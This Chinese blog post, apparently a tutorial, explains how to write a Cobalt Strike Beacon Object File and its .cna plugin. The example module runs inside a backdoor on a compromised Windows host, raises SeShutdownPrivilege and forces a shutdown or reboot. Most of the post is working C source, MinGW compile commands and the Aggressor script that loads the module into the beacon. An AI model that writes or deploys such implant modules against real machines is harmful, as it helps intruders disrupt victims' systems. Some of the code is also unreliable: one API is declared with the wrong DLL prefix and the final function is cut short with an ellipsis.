BOF

1.基础概念

Beacon Object File,可以简单理解为一种可以向运行中的后门中注入 C 代码运行的机制

.o 文件,是源码编译生成的中间产物

.cna 文件,是 Cobalt Strike 的插件文件

2.BOF 编写

.o 文件生成

先用 C 语言写一段想要运行的代码

shutdown.c:

#include <windows.h>

int main() {
    char* command = (char*)"shutdown";

    UINT uint; // 操作
    HANDLE hToken; // 访问令牌句柄
    TOKEN_PRIVILEGES tkp; // 存储特权信息

    // 选择操作
    if (!strcmp(command, "shutdown")) {
        uint = EWX_SHUTDOWN | EWX_FORCE; // 强制关机
    }
    else {
        uint = EWX_REBOOT | EWX_FORCE; // 强制重启
    }

    // 获取当前进程访问令牌句柄
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);

    // 获取 SE_SHUTDOWN_NAME 特权的本地唯一标识符(LUID)
    LookupPrivilegeValueW(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
    tkp.PrivilegeCount = 1; // 只调整一个特权
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 启用特权

    // 获取 SE_SHUTDOWN_NAME 特权
    AdjustTokenPrivileges(hToken, 0, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);

    // 强制关机/重启
    ExitWindowsEx(uint, 0);
}

对调用的函数进行声明和替换

Kernel32 用 WINBASEAPI

ADVAPI32 用 WINADVAPI

C 语言标准库函数 用 WINBASEAPI + MSVCRT$

查找函数声明:

┌──(root㉿MyKali2023)-[~/桌面]
└─# cd /usr/share/mingw-w64/include
                                                                                                                                                                                                            
┌──(root㉿MyKali2023)-[/usr/share/mingw-w64/include]
└─# grep -r OpenProcessToken

ddk/ntifs.h:NtOpenProcessToken(
ddk/ntifs.h:NtOpenProcessTokenEx(
ddk/ntifs.h:ZwOpenProcessTokenEx(
ddk/ntifs.h:ZwOpenProcessToken (
processthreadsapi.h:  WINADVAPI WINBOOL WINAPI OpenProcessToken (HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);

shutdown.c:

#include <windows.h>

WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess();
WINBASEAPI INT WINAPI USER32$ExitWindowsEx(UINT, DWORD);
WINBASEAPI INT WINAPI MSVCRT$strcmp(const char*, const char*);
WINBASEAPI INT WINAPI KERNEL32$OpenProcessToken(HANDLE, DWORD, PHANDLE);
WINADVAPI INT WINAPI ADVAPI32$LookupPrivilegeValueA(LPCSTR, LPCSTR, PLUID);
WINADVAPI INT WINAPI ADVAPI32$AdjustTokenPrivileges(HANDLE, BOOL, PTOKEN_PRIVILEGES, DWORD, PTOKEN_PRIVILEGES, PDWORD);

int main() {
    char* command = (char*)"shutdown";

    UINT uint; // 操作
    HANDLE hToken; // 访问令牌句柄
    TOKEN_PRIVILEGES tkp; // 存储特权信息

    // 选择操作
    if (!MSVCRT$strcmp(command, "shutdown")) {
        uint = EWX_SHUTDOWN | EWX_FORCE; // 强制关机
    }
    else {
        uint = EWX_REBOOT | EWX_FORCE; // 强制重启
    }

    // 获取当前进程访问令牌句柄
    KERNEL32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);

    // 获取 SE_SHUTDOWN_NAME 特权的本地唯一标识符(LUID)
    ADVAPI32$LookupPrivilegeValueA(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
    tkp.PrivilegeCount = 1; // 只调整一个特权
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 启用特权

    // 获取 SE_SHUTDOWN_NAME 特权
    ADVAPI32$AdjustTokenPrivileges(hToken, 0, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);

    // 强制关机/重启
    USER32$ExitWindowsEx(uint, 0);
}

引入 beacon.h,添加入口点

#include <windows.h>
#include "beacon.h"

WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess();
WINBASEAPI INT WINAPI USER32$ExitWindowsEx(UINT, DWORD);
WINBASEAPI INT WINAPI MSVCRT$strcmp(const char*, const char*);
WINBASEAPI INT WINAPI KERNEL32$OpenProcessToken(HANDLE, DWORD, PHANDLE);
WINADVAPI INT WINAPI ADVAPI32$LookupPrivilegeValueA(LPCSTR, LPCSTR, PLUID);
WINADVAPI INT WINAPI ADVAPI32$AdjustTokenPrivileges(HANDLE, BOOL, PTOKEN_PRIVILEGES, DWORD, PTOKEN_PRIVILEGES, PDWORD);

void go(IN PCHAR args, IN ULONG length) {
    // 接收参数
    datap parser;
    BeaconDataParse(&parser, args, length);
    char* command = BeaconDataExtract(&parser, NULL);
    ...
}

生成 .o 文件

┌──(root㉿MyKali2023)-[~/桌面/BOF]
└─# ls
beacon.h  shutdown.c
                                                                                                                                                                                                            
┌──(root㉿MyKali2023)-[~/桌面/BOF]
└─# x86_64-w64-mingw32-gcc -c shutdown.c -o shutdown.x64.o
                                                                                                                                                                                                            
┌──(root㉿MyKali2023)-[~/桌面/BOF]
└─# x86_64-w64-mingw32-gcc -m32 -c shutdown.c -o shutdown.x86.o

.cna 插件编写

Functions (helpsystems.com)

shutdown.cna:

# 输入框调用
alias shutdown {
    # 打印字符串
    btask($1, 'SHUTDOWN via BOF @ HexNy0a 2023.11.02');

    # 调用函数
    shutdown($1, $2); # $1 是当前会话 ID, $2 是命令后第一个参数
}

# 函数定义
sub shutdown {
    # 局部变量
    local('$barch $handle $data $args');

    $barch  = barch($1); # 获取后门位数
    $handle = openf(script_resource("shutdown. $+ $barch $+ .o")); # 获取 .o 文件句柄
    $data = readb($handle, -1); # 读取 .o 文件二进制数据
    closef($handle); # 关闭句柄

    # 打包参数
    $args = bof_pack($1, 'z', $2); # $2 是一个 z 类型参数 (char*)

    # 运行 .o 文件
    beacon_inline_execute($1, $data, 'go', $args);
}

.cna 与 .o 同文件夹,导入 CNA 插件,执行命令

posted @ 2023-04-16 17:38  Hacker&Cat  阅读(355)  评论(0编辑  收藏  举报